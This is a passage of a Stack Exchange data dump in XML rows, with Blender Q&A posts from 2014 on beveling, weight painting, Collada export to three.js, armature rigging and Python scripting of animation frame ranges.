&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the cranes will be able to grab it, and the container will fit into the same slot as all the rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the container is different then the rest of them then there will likely be problems since none of the equipment was designed to deal with this different format and none of the people involved were trained to deal with that situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Here something that was recently posted on the Blender Bug Tracker.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mBKHv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-08-28T12:02:25.183" LastActivityDate="2014-08-28T12:02:25.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="1" AcceptedAnswerId="14217" CreationDate="2014-07-20T14:59:32.023" Score="0" ViewCount="882" Body="&lt;p&gt;Relatively new to Blender, using version 2.69 to model a cone shaped grip of a door handle to be 3d printed later. Took a photo and measurements for reference. Scale: 1 blend unit = 1 mm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wrKLT.jpg&quot; alt=&quot;cone shaped grip of door handle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape was pretty easy to model with a cone with straight extrude region on the top and bottom. Used a cylinder to cut the hole with a boolean difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DzrjR.png&quot; alt=&quot;modelled grip before bevel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All done in a few minutes... &#xA;Only needed to do the bevel on the bottom to be finished. Hours later not done yet, because the bevel must be a non uniform bevel and mesh | edges | bevel only seem to do uniform bevels. Taking the above right ortho view, it should simplified have an offset of 0.4 on the z axis but an offset of 0.275 on the y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5OJZ.gif&quot; alt=&quot;bevel offset animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to set a different offset per local axis of an edge bevel. So in one axis 0.275 and the other 0.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that some people have this as a bug due to the fact that they scaled in object mode and did a bevel later. I would like it as a feature without the scaling in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to do this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I currently did a workaround by making a &lt;a href=&quot;https://mediacru.sh/W2TdpATcf2eY.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;profile&lt;/a&gt; of the grip in svg. &#xA;  Imported it, converted it to mesh and spin it. &lt;img src=&quot;https://i.stack.imgur.com/LpNzR.gif&quot; alt=&quot;workaround spin svg profile&quot;&gt;&#xA;  Still knowing how to do an non uniform bevel would be appreciated. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5285" LastEditorUserId="5285" LastEditDate="2014-07-21T08:59:51.943" LastActivityDate="2014-07-21T08:59:51.943" Title="How to create an exact non uniform bevel" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="1" AcceptedAnswerId="14216" CreationDate="2014-07-20T16:04:46.970" Score="8" ViewCount="1193" Body="&lt;p&gt;I'm currently trying to spread pebbles along a plane using particle systems. Moreover, I wanted it so that it only spread on certain areas of the plane (which can be done using weight painting &amp;amp; adding a vertex group). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, whenever I tried to weight paint the plane, nothing shows up in my 3D viewport. No red/colors that usually appears during weight painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please take a look at this '&lt;a href=&quot;http://www.pasteall.org/blend/30536&quot; rel=&quot;noreferrer&quot;&gt;blend file'&lt;/a&gt;, and see what's wrong with my weight painting. I'm pretty confident that it should've worked like normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DC9UN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastActivityDate="2020-02-02T18:23:03.890" Title="Unable to Weight Paint in 3D viewport" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14216" PostTypeId="2" ParentId="14215" CreationDate="2014-07-20T16:16:52.740" Score="7" Body="&lt;p&gt;You have 'Face selection masking' turned on in the 3D view header (2.79):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lbDNf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selection masking options in 2.8 are found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uu1s9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uu1s9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that only faces that are selected in edit mode will be able to be painted on when weight painting. It's useful to use as a mask in case you want certain parts of the mesh to be excluded from weight painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either disable this button or select all the faces that you want to weight paint in edit mode before returning to weight paint mode.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2020-02-02T18:23:03.890" LastActivityDate="2020-02-02T18:23:03.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14217" PostTypeId="2" ParentId="14214" CreationDate="2014-07-20T19:09:15.623" Score="1" Body="&lt;p&gt;I think I'd use a different workflow. I'd start with a profile of the end of the grip with the cavity, and spin it to create the large end. When the spin is complete, I'd extrude from the circumference to the small end of the grip, and then extrude and scale to create the small end of the grip. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-20T19:09:15.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14218" PostTypeId="2" ParentId="14214" CreationDate="2014-07-20T19:28:02.523" Score="3" Body="&lt;p&gt;Those triangles at the end of your mesh are going to make it very difficult to bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I'd add a circle and extrude it to avoid creating tris in the first place:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6HsUV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Add &gt; Mesh &gt; Circle&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude upwards (&lt;kbd&gt;E&lt;/kbd&gt;) and scale (&lt;kbd&gt;S&lt;/kbd&gt;) to create the basic shape.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude each end circle without moving the vertices (&lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;Esc&lt;/kbd&gt;), then scale (&lt;kbd&gt;S&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the inner end circles and press &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Bridge Edge loops&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bevel (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can change the profile of the bevel in the &lt;em&gt;Redo panel&lt;/em&gt; after beveling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqCD2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-21T02:57:12.677" LastActivityDate="2014-07-21T02:57:12.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14219" PostTypeId="1" AcceptedAnswerId="14221" CreationDate="2014-07-20T19:44:38.390" Score="8" ViewCount="5621" Body="&lt;p&gt;I have added a background image to the world settings. However, it has disappeared from my 3D view and only shows when I view the scene from the camera. Does anyone know if there is something I can do to make it reappear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUGGV.jpg&quot; alt=&quot;camera view shows background&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4NyM6.jpg&quot; alt=&quot;background not showing in 3D view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="2952" LastEditDate="2015-12-06T07:34:53.607" LastActivityDate="2018-08-27T00:31:01.540" Title="Why Does The Background Image Not Show in Orthographic View?" Tags="&lt;cycles-render-engine&gt;&lt;image&gt;&lt;world&gt;&lt;orthographic&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14220" PostTypeId="1" AcceptedAnswerId="14222" CreationDate="2014-07-20T19:57:59.217" Score="3" ViewCount="6475" Body="&lt;p&gt;I have had this happen to me a few times prior but instead of just deleting the object and starting over I would like to know why it is that my objects appear in &lt;strong&gt;Solid Shade Mode&lt;/strong&gt; and only a shadow appears in the &lt;strong&gt;Rendered Shade Mode&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to UV Wrap the object and the wrapping never appears in the 3D viewport. I selected Textured Solid in the Shading Tab but image still does not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kcsf0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dz882.jpg&quot; alt=&quot;Cube not showing in rendered shade mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="2217" LastEditDate="2014-07-21T13:27:14.853" LastActivityDate="2018-03-12T00:57:30.193" Title="Why Does My Object Not Show in Rendered Shading Mode?" Tags="&lt;rendering&gt;&lt;uv&gt;&lt;3d-view&gt;&lt;objects&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14221" PostTypeId="2" ParentId="14219" CreationDate="2014-07-20T20:04:28.990" Score="6" Body="&lt;p&gt;It's because you are in ortho view, so you will only see one pixel of the background image at a time (if you move the 3D view around, the background color should change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to perspective (&lt;kbd&gt;Numpad 5&lt;/kbd&gt;), and it should appear normally.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-20T20:10:36.520" LastActivityDate="2014-07-20T20:10:36.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14222" PostTypeId="2" ParentId="14220" CreationDate="2014-07-20T20:26:49.757" Score="2" Body="&lt;p&gt;I presume you have some render layers set up. The option to to preview the active render layer in the 3D view header has been enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x0CaB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will mean that if an object isn't assigned to this render layer the object will not appear in the rendered view. Disable this button to view all objects in the rendered view regardless of their render layer.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-07-20T20:26:49.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14223" PostTypeId="1" CreationDate="2014-07-20T21:20:43.260" Score="3" ViewCount="6674" Body="&lt;p&gt;I am trying export Blender models to &lt;a href=&quot;http://threejs.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;threejs.org&lt;/a&gt; as DAE model but have problem with models with texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things simpler, here are the steps I perform (and fail) to add texture to simple &quot;Startup file&quot; which contains a cube, camera, and light:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the cube&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Materials&lt;/strong&gt; panel, make sure the default Material for the cube is selected.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Texture&lt;/strong&gt; panel, make sure &quot;Tex&quot; (the default texture for the material) is selected.&lt;/li&gt;&#xA;&lt;li&gt;For this texture, set &lt;strong&gt;Type&lt;/strong&gt; to &quot;Image or Movie&quot;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Image&lt;/strong&gt; section of panel, open a grass1.jpg (a 512x512 image) as the texture.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Mapping&lt;/strong&gt; section, change the &lt;strong&gt;Coordinates&lt;/strong&gt; to UV.&lt;/li&gt;&#xA;&lt;li&gt;Export the model as &lt;strong&gt;Collada&lt;/strong&gt; model, checking &quot;Include UV Textures&quot;, &quot;Include Material Textures&quot;, and &quot;Copy&quot; checkboxes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://drive.google.com/file/d/0B0xoao6g6xzoSlE2TnFxMV9EdlE/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;download blend, dae, and texture file&lt;/a&gt; mentioned in these steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I use the following code to load the DAE model, but I get this error and the cube is not shown:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;256 [.WebGLRenderingContext]GL ERROR :GL_INVALID_OPERATION :&#xA;  glDrawElements: attempt to access out of range vertices in attribute 2&#xA;  WebGL: too many errors, no more errors will be reported to the console for this context.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sg9xN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;js/three.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;js/OrbitControls.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;js/ColladaLoader.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    var scene, camera, renderer;&#xA;    init();&#xA;    animate();&#xA;&#xA;    function init() {&#xA;        scene = new THREE.Scene();&#xA;        var WIDTH = window.innerWidth,&#xA;            HEIGHT = window.innerHeight;&#xA;&#xA;        renderer = new THREE.WebGLRenderer({antialias:true});&#xA;        renderer.setSize(WIDTH, HEIGHT);&#xA;        document.body.appendChild(renderer.domElement);&#xA;&#xA;        camera = new THREE.PerspectiveCamera(45, WIDTH / HEIGHT, 0.1, 10000);&#xA;        camera.position.set(10,10,10);&#xA;        scene.add(camera);&#xA;&#xA;        window.addEventListener('resize', function() {&#xA;        var WIDTH = window.innerWidth,&#xA;            HEIGHT = window.innerHeight;&#xA;            renderer.setSize(WIDTH, HEIGHT);&#xA;            camera.aspect = WIDTH / HEIGHT;&#xA;            camera.updateProjectionMatrix();&#xA;        });  &#xA;&#xA;        var loader = new THREE.ColladaLoader();&#xA;&#xA;        loader.load( 'models/untitled.dae', function(geometry) {&#xA;            dae = geometry.scene;&#xA;            scene.add(dae);&#xA;            var gridXZ = new THREE.GridHelper(100, 10);&#xA;            gridXZ.setColors( new THREE.Color(0x8f8f8f), new THREE.Color(0x8f8f8f) );&#xA;            gridXZ.position.set(0,0,0);&#xA;            scene.add(gridXZ);&#xA;        });&#xA;&#xA;        controls = new THREE.OrbitControls(camera, renderer.domElement);&#xA;    }&#xA;&#xA;    function animate() {&#xA;      requestAnimationFrame(animate);&#xA;      renderer.render(scene, camera);&#xA;      controls.update();&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the screenshot of Blender after mentioned 7 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmvix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Exporting as js file using &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON exporter for Blender&lt;/a&gt; doesn't work either.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="29" LastEditDate="2014-12-22T11:55:29.167" LastActivityDate="2014-12-22T11:55:29.167" Title="Export simple model with texture to three.js" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;&lt;collada&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="9" FavoriteCount="2" ClosedDate="2014-07-21T19:21:46.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="14224" PostTypeId="2" ParentId="14207" CreationDate="2014-07-20T21:30:53.500" Score="1" Body="&lt;p&gt;Thanks for the support Candice babe. But I finally figured it out! Woo Hoo!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright so I figured out that my Z Axis in the legs were facing the wrong direction of the Original Human Meta Rig Armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I was like, That looks wrong. I fixed it but I still had an Issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Then I finally figured out I had to fix the Z Axis of my Foot's Roll. Makes perfect Sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all in all for those of you with this issue.&#xA;Look for your armature's Foot IK (Which should be that little bone sticking out from the back of your foot) Find that, click it and press N to open your Window.&#xA;Next! Scroll to the top in that window and find Roll.&#xA;Change the Z Roll till it's pointing Downwards/Backwards and Bam! You got it fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: Now if you want to make a Horseman Just make your Roll face towards the front or   The Opposite Direction.&lt;/p&gt;&#xA;" OwnerUserId="5279" LastActivityDate="2014-07-20T21:30:53.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14225" PostTypeId="1" CreationDate="2014-07-20T21:42:26.917" Score="3" ViewCount="54" Body="&lt;p&gt;This feels a little like the elephant in the room no one is talking about. One of the most excellent things about Blender is that it is updated so frequently. The downside is moving preferences around (or forgetting to) manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are people still expected to deal with this by hand, or are there easier ways? Windows optionally stores user preferences to the user profile so that updating doesn't start you at a blank state again. It works well enough for me, but I can see how there is a potential for collisions if the structure of the files changes from version to version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;a screenshot of my ~/Library/Application Support/Blender&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NERhV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2014-07-20T21:42:26.917" Title="How do you update blender on Mac OS without losing preferences?" Tags="&lt;installation&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-07-21T08:54:43.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="14226" PostTypeId="2" ParentId="14170" CreationDate="2014-07-20T22:00:04.977" Score="1" Body="&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?338598-Addon-WIP-VSE-Quick-functions-Snaps-Fades-Zoom-Parenting-Titling-Play-speed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon already has that function&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-07-20T22:00:04.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14228" PostTypeId="1" CreationDate="2014-07-21T04:02:27.120" Score="2" ViewCount="1005" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QiJtZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have different animations in each action with different duration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to store the length of the duration in each action so that the frame_end can adjust accordingly to it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].frame_end = (animationLength * 24)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only set my &lt;em&gt;frame_end&lt;/em&gt; at the last loop in my &lt;em&gt;for loop&lt;/em&gt; for creating multiple animation.&lt;/p&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="2217" LastEditDate="2014-07-21T15:40:02.673" LastActivityDate="2014-12-18T18:05:27.627" Title="How do I set frame_end in the scene using script when I switch between different actions?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14229" PostTypeId="2" ParentId="14228" CreationDate="2014-07-21T05:41:26.570" Score="1" Body="&lt;p&gt;The following snippet will loop over all actions and prints the length in keyframes of each action, the scenes keyframe position is adjusted. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;frame=1&#xA;for action in bpy.data.actions:&#xA;    print( &quot;action=%s&quot; % action.name )&#xA;    print( &quot;action length=%d&quot; % action.frame_range.y)&#xA;    frame = frame + action.frame_range.y&#xA;    bpy.context.scene.frame_set( frame )&#xA;    print( &quot;frame=%d&quot; % frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-07-21T09:55:58.837" LastActivityDate="2014-07-21T09:55:58.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14231" PostTypeId="2" ParentId="14209" CreationDate="2014-07-21T09:59:08.373" Score="0" Body="&lt;p&gt;Use this node setup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJWEl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the texture node, you open the image you want to use as a mask, then plug the alpha output from that to the scale node's input for X and Y (the scale node's &amp;quot;Coordinate Space&amp;quot; is set to relative), you grab you RenderLayer and shove it in the image input for the sacle node, and finally connect that to the composite node.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-21T09:59:08.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14232" PostTypeId="1" AcceptedAnswerId="14233" CreationDate="2014-07-21T10:10:25.957" Score="17" ViewCount="31245" Body="&lt;p&gt;I usually face this problem when I cut objects to make them printable in my 3D printer. As you may know, you need your object to have a nice base to be printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I usually use bisect to cut an object to different pieces. As in this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rEYxmm.png&quot; alt=&quot;Object bisected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I need to rotate the top part to have a face as bottom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFdzDm.png&quot; alt=&quot;Final Object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll share my workflow in an answer, but I'm asking for a simpler solution, if there were any.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2018-10-07T17:04:39.477" Title="Align an object to a specific face" Tags="&lt;modeling&gt;&lt;3d-printing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="2" ParentId="14232" CreationDate="2014-07-21T10:31:16.283" Score="12" Body="&lt;p&gt;So this is my workflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select the face you want to be the ground of the object, and create a custom &lt;em&gt;Transform Orientation&lt;/em&gt; from the N panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cEfw5m.png&quot; alt=&quot;Custom transformation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the new orientation and place 3D Cursor at the face center with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, &lt;em&gt;Cursor to Selected&lt;/em&gt;. You could also move object center to the same place with  &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt;Object to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GXk1Um.png&quot; alt=&quot;Select custom orientation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add an emtpy and align it to my custom orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UEOOdt.png&quot; alt=&quot;added emtpy&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/4HjEWm.png&quot; alt=&quot;align to transform orientation&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/8SEEvt.png&quot; alt=&quot;aligned empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now parent the object to the empty (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;), clear the empty rotation (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;), and clear the object's parent keeping transformation (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&gt;...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Deyetm.png&quot; alt=&quot;parenting&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/vRj0vm.png&quot; alt=&quot;unparenting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally rotate the piece 180º, and you have the face as the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfe8D.png&quot; alt=&quot;Final&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="27959" LastEditDate="2016-09-23T14:57:51.677" LastActivityDate="2016-09-23T14:57:51.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="2" ParentId="14192" CreationDate="2014-07-21T13:34:05.163" Score="2" Body="&lt;p&gt;if you slide down the info editor header, you will see a list of the operators as they are called, this will show you whats going on as you call operators.&lt;/p&gt;&#xA;" OwnerUserId="2928" LastActivityDate="2014-07-21T13:34:05.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14235" PostTypeId="2" ParentId="14232" CreationDate="2014-07-21T15:04:01.460" Score="6" Body="&lt;p&gt;You can use vertex snapping to achieve this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note before we begin: You can activate snapping by holding down &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable vertex snapping&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jrCME.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the vertices along the edge of the cut face, then with the pivot point set to anything &lt;strong&gt;except&lt;/strong&gt; &lt;em&gt;active element&lt;/em&gt;, press &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to selected&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the origin of the mesh to the 3D cursor(&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&gt;&lt;em&gt;Origin to 3D cursor&lt;/em&gt;) If you don't want to move the origin,  set the pivit point to 3D cursor.&lt;/li&gt;&#xA;&lt;li&gt;Add a plane in object mode. we will align the mesh to this plane. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/vumnC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now with the mesh selected, hit &lt;kbd&gt;R&lt;/kbd&gt;, (lock rotation to the axis of the cut mesh). With snapping turned on, move your cursor over one of the vertices on the 